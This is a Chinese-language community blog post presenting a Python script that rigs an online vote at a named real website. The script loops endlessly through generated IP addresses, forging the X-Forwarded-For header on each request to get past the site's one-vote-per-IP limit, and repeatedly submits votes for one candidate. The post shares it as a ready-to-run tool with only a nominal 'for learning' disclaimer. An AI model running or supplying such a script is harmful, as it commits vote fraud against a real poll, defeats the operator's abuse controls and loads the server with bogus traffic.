用python写的投票脚本

举报
生道 发表于 2018/12/31 12:36:01 2018/12/31
【摘要】   有个地方的投票,规则是这样的:1个IP5分钟内只能给1个人投一次票。估计设计者的想法只是想得到投票的数据,而不是用来比较排名的,不然不应该这样设置规则。现在把python代码粘贴出来,仅供学习:#!/usr/bin/python3# -*- coding: utf-8 -*-#encoding=utf-8 import urllib.requestimport sysimport ti...

  有个地方的投票,规则是这样的:1个IP5分钟内只能给1个人投一次票。估计设计者的想法只是想得到投票的数据,而不是用来比较排名的,不然不应该这样设置规则。现在把python代码粘贴出来,仅供学习:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
#encoding=utf-8
  
import urllib.request
import sys
import time

url= "http://policestar.gdtengnan.com/api/vote/add?id=177" #投票提交的数据

while(0<1):
    for i in range(12,254):  
        for j in range(1,254):
            for k in range(1,254):  
              for l in range(1,254):
                  try: 
                     ip=str(i)+"."+str(j)+"."+str(k)+"."+str(l)  #虚拟出无数不同的投票IP
                     req = urllib.request.Request(url)
                     req.add_header('Referer','//policestar.gdtengnan.com/')
                     req.add_header("x-forwarded-for",ip)        #应用虚拟出的IP
                     req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0')
                     r = urllib.request.urlopen(req)
                     html = r.read()
                     receive_header = r.info()
     
                     html = html.decode('utf-8').encode(sys.getfilesystemencoding())
     
                     print (receive_header)
                     print ('#####################################')
                     print (html)
                     #time.sleep( 1 )
                  except(Exception):
                     print (1) #出错时输出(随意)防止脚本中断


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。